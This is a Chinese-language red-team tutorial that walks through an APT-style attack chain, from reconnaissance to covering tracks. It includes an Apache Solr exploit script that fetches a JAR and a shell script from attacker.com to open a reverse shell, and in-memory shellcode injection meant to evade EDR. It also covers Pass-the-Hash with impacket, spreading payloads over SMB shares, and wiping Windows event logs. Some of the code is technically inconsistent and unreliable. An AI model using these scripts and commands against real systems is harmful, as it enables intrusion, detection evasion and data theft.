一、APT攻击事件背后的红队战术

2023年某知名企业遭受APT组织攻击,攻击者通过精心策划的鱼叉式钓鱼邮件,成功诱骗一名高管下载了一份伪装成财务报表的恶意文档。在短短48小时内,攻击者不仅实现了内网横向移动,还成功窃取了大量敏感数据。事件的细节被曝光后,很多人将目光聚焦在防御策略上,而作为红队,我们更关注的是攻击的细节——攻击者是如何做到这一切的?又有哪些战术技术可以借鉴?
本文仅供授权安全测试和学习研究,请勿用于非法用途。

---
二、信息收集:攻击从这里开始
主动侦查与被动探测中的选择
通常情况下,红队的第一步是信息收集。为了在目标环境中隐匿自身,大多数攻击者更倾向于被动信息收集,如利用搜索引擎、漏洞数据库和开源情报(OSINT)获取目标相关信息。
以下是一个简单的Python脚本,用于抓取某企业域名的子域信息:
<pre><code class="language-python">import requests from bs4 import BeautifulSoup import re
子域名抓取函数,输入域名
def get_subdomains(domain): url = f"https://crt.sh/?q=%25.{domain}" response = requests.get(url, headers={"User-Agent": "Mozilla/5.0"}) soup = BeautifulSoup(response.text, "html.parser") subdomains = set(re.findall(rf"[a-zA-Z0-9.-]+\.{domain}", soup.text)) return subdomains
if __name__ == "__main__": target_domain = "example.com" subdomains = get_subdomains(target_domain) print("[*] Found Subdomains:") for subdomain in subdomains: print(f"- {subdomain}")</code></pre>
使用技巧:
- 通过
crt.sh获取SSL证书中出现的子域名,隐蔽且可靠。 - 将收集的子域作为后续漏洞扫描和钓鱼邮件的目标。
社交工程:更高级的信息获取手段
信息收集不仅限于技术性手段,很多APT攻击案例表明,社交工程是极为有效的方式。例如,通过LinkedIn确定目标公司的关键人员,并结合社交媒体内容分析其习惯和专业领域,为后续的鱼叉式钓鱼提供素材。
---
三、漏洞利用:武器化你的攻击链
利用已知漏洞构造攻击链
假设目标服务器运行的是存在未修复漏洞的Apache Solr(CVE-2019-0193)。这里我们直接通过漏洞构造一个反弹Shell的EXP:
<pre><code class="language-python">import requests import sys import base64
def exploit_solr_rce(target_url, command): headers = {"Content-Type": "application/json"} payload = { "set-property": { "params.resource.loader.enabled": "true", "params.resource.loader.lib":"http://attacker.com/exploit.jar" } }
发送恶意配置
requests.post(f"{target_url}/solr/admin/configs", json=payload, headers=headers)
构造绕过命令执行的方式
exploit_payload = f"curl http://attacker.com/shell.sh | sh" encoded_payload = base64.b64encode(exploit_payload.encode()).decode() final_payload = f"bash -c {{echo,{encoded_payload}}}|{{base64,-d}}|{{bash,-i}}"
requests.post(f"{target_url}/solr/admin/execute", data=final_payload, headers=headers) print("[+] Exploit Sent Successfully")

if __name__ == "__main__": target_url = sys.argv[1] exploit_solr_rce(target_url, "id")</code></pre>
步骤复现:
- 部署一个监听服务(如
nc -lvp 4444)接收反弹Shell。 - 将恶意JAR文件托管到公网可访问的服务器上。
- 使用以上脚本对目标发起攻击。
零日漏洞挖掘与利用
比起利用已知漏洞,红队的巅峰目标是开发0day。以下是简单的C代码示例,模拟栈溢出漏洞的利用:
<pre><code class="language-c">#include <stdio.h>
include <string.h>
void vulnerable_function(char *input) { char buffer[16]; strcpy(buffer, input); // 这里存在栈溢出 }
int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <input>\n", argv[0]); return -1; } vulnerable_function(argv[1]); return 0; }</code></pre>
编译与利用:
- 编译漏洞程序:
gcc -fno-stack-protector -z execstack vuln.c -o vuln - 利用GDB调试,计算返回地址并构造攻击载荷:
- 利用
pattern_create生成payload。 - 覆盖返回地址,指向自定义Shellcode。
---
四、绕过与免杀:EDR不是不可战胜的
动态分析规避:让AV形同虚设
现代EDR(Endpoint Detection and Response)通常以行为为基础检测攻击活动。以下是分步实现免杀的方式:
- 内存加载代码执行:
使用Python加载Payload到内存中,避免落地文件被特征匹配。
<pre><code class="language-python">import ctypes
示例:简单的shellcode注入
shellcode = b"\x48\x31\xc0\x50\x48\x89\xe2\x50\x48\x89\xe6\x04\x3b\x0f\x05" ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)</code></pre>
- 混淆与加密:
静态特征检测很容易通过加壳或字符串混淆绕过。例如,将Payload用对称加密(如AES)加密,并在运行时解密。
- 异构语言编译:
将攻击载荷转化为多种语言实现,并分别测试有效性。
---
五、横向移动:逐步接近高价值目标
使用Pass-the-Hash攻击
在横向移动阶段,获取到域用户的哈希值后,可以直接通过Pass-the-Hash技术登录到其他机器。以下是基于Impacket的实践:
<pre><code class="language-bash"># 使用Impacket工具 impacket-psexec -hashes <NTLM_HASH> [email protected]</code></pre>
利用共享目录传播
利用目标网络中常见的SMB共享,红队可以将恶意文件通过共享传播到多个主机。例如:
<pre><code class="language-bash"># 在Linux下挂载目标SMB mount -t cifs //192.168.1.10/shared /mnt -o username=user,password=pass
上传Payload
cp payload.exe /mnt/payload.exe</code></pre>
---
六、痕迹清理:清除一切存在的痕迹
攻击完成后,清理操作至关重要。以下是常见的清理方法:
- 删除日志:清理Windows事件日志以掩盖攻击活动。
`bash wevtutil cl System wevtutil cl Security wevtutil cl Application `
- 清除文件:
`bash del /F /Q payload.exe `
- 注销会话:
使用Metasploit的migrate模块,将远控会话迁移到无关进程并结束当前进程。
---
七、经验谈:红队的哲学
- 多维度攻击:永远不要局限于技术,社会工程同样重要。
- 持续学习:攻击技术每天都在进步,保持敏锐。
- 隐匿是关键:一旦被发现,攻击链将彻底中断。
无论是从零搭建攻击链,还是绕过复杂的EDR,红队的目标始终是以攻击者视角发现系统最大的问题。